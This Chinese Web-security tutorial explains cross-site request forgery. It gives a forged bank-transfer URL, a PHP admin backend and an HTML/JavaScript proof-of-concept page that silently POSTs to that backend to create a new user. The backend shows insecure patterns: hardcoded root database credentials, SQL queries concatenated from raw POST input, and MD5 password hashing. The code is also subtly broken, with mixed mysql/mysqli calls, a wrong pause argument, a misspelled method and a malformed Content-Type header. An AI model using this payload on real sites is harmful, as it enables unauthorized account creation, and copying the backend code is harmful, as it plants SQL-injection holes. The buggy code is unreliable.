10分钟浅谈CSRF突破原理,Web安全的第一防线


10分钟浅谈CSRF突破原理,Web安全的第一防线

文章插图
 
CSRF攻击即跨站请求伪造(跨站点请求伪造),是一种对网站的恶意利用,听起来似乎与XSS跨站脚本攻击有点相似,但实际上彼此相差很大,XSS利用的是站点内的信任用户,而CSRF则是通过伪装来自受信任用户的请求来利用受信任的网站 。
你可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求 。CRSF能做的事情包括利用你的身份发邮件,发短信,进行交易转账等,甚至盗取你的账号 。
 
那么,今天i春秋向小伙伴介绍一下CSRF突破原理的相关内容,希望对大家学习Web安全有所帮助 。文章阅读约15分钟,一定要看完哦,文末内容更精彩?
 
CSRF攻击原理
当我们打开或登录某个网站后,浏览器与网站所存放的服务器将会产生一个会话,在会话结束前,用户就可以利用其自身的网站权限对网站进行操作,如:发表文章,发送邮件,会话结束后,在进行权限操作,网站就会知道会话超期或重新登录 。
当通过登录网站后,浏览器就会和可信的站点建立一个经过认证的会话 。所有通过这个经过认证的会话发送请求,都被认为是可信的行为,例如转账,汇款等操作 。过长或者自主结束重叠,必须重新建立经过认证的可信安全的会话 。
CSRF攻击是建立在会话之上 。例如:登录了网上银行,拆分转换账业务,这是攻击者给你发来一个URL,这个URL是攻击者精心构造的有效替代,攻击者精心构造的转账业务代码,而且与你登录的是同一家银行,当你认为这是安全的链接后点击进去,你的钱就没了!
例如想给用户xxser转账1000元,正常的URL是:
secbug.org/pay.jsp?user=xxser&money=1000而攻击者构造的URL则是:
secbug.org/pay.jsp?user=hack&money=10000
CSRF突破利用
CSRF进攻常常被用来制造蠕虫攻击,seo流量等 。
分析防御代码获取GET参数用户名和密码,然后通过选择语句查询是否存在对应的用户,如果存在通过$ _SESSION设置一个会话:isadmin = admin,否则设置会话:isadmin = guest
判断会话中的isadmin是否为admin,如果isadmin!= admin说明用户没有登录,那么切换到登录页面,只有在管理员登录后才可以执行用户的操作 。
获取POST参数用户名和密码然后插入用户表中,完成添加用户的操作 。
<?phpsession_start();if (isset($_GET['login'])) {$con=MySQLi_connect("127.0.0.1","root","123456","test");if (mysql_connect_errno()) {echo "连接失败".mysql_connect_errno();}$username = addslashes($_GET['username']);$password = $_GET['password'];$result = mysqli_query($con , "select * from users where username='".$username."' and password='".md5($password)."'");$row = mysqli_fetch_array($result);if($row){$_SESSION['isadmin'] = 'admin';exit("登录成功");} else{$_SESSION['isadmin'] = 'guest';exit("登录失败");}} else{$_SESSION['isadmin'] = 'guest';}if($_SESSION['isadmin'] != 'admin'){exit("请登录……");}if(isset($_POST['submit'])){if (isset($_POST['username'])) {$result1 = mysqli_query($con,"insert into users(username , password) value ('".$_POST['username']."','".md5($_POST['password'])."')");exit($_POST['username']."添加成功");}}?>这是后台php源码 。
攻击者需要做的就是构造一个请求,请求的URL就是php文件的URL,参数是submit = 1&username = 1&password = 1,请求有效载荷会自动利用原始码的特性添加一个用户:
<!DOCTYPE html><html><head><meta charset="utf-8"><title>CSRF漏洞实践</title></head><body><script type="text/JAVAscript">var pauses = new Array("16");var methods = new Array("POST");var urls = new Array("isadmin.php");var params = new Array("submit=1&username=1&password=1");function pausecomp(millis){var date = new Date();var curDate = null ;do{curDate = new Date();}while(curDate-date<millis);}function run(){var count = 1 ;var i = 0 ;for( i=0 ; i < count ; i ++){makeXHR(methods[i],urls[i],params[i]);pausecomp(pausecomp[i]);}}var http_request = false ;function makeXHR(method , url , paramters){http_request = false ;if(window.XMLHttpRequest){http_request = new XMLHttpRequest() ;if(http_request.overrideMinmeType){http_request.overrideMinmeType('text/html');}} else if(window.ActiveXObject){try{http_request = new ActiveXObject("Msxml2.XMLHTTP");} catch(e){try{http_request = new ActiveXObject("Microsoft.XMLHTTP");} catch (e){ }}}if(!http_request){alert('Cannot create XMLHTTP instance');return false;}if(method == 'GET'){if(url.indexOf('?') == -1){url = url + '?' + paramters;} else{url = url + '&' + paramters;}http_request.open(method,url,true);http_request.send("");} else if(method == 'POST'){http_request.open(method,url,true);http_request.setRequestHeader("Content-type","Application/x-www.form-urlencoded");http_request.setRequestHeader("Content-length",paramters.length);http_request.setRequestHeader("Connection","close");http_request.send(paramters);}}</script></body></html>


推荐阅读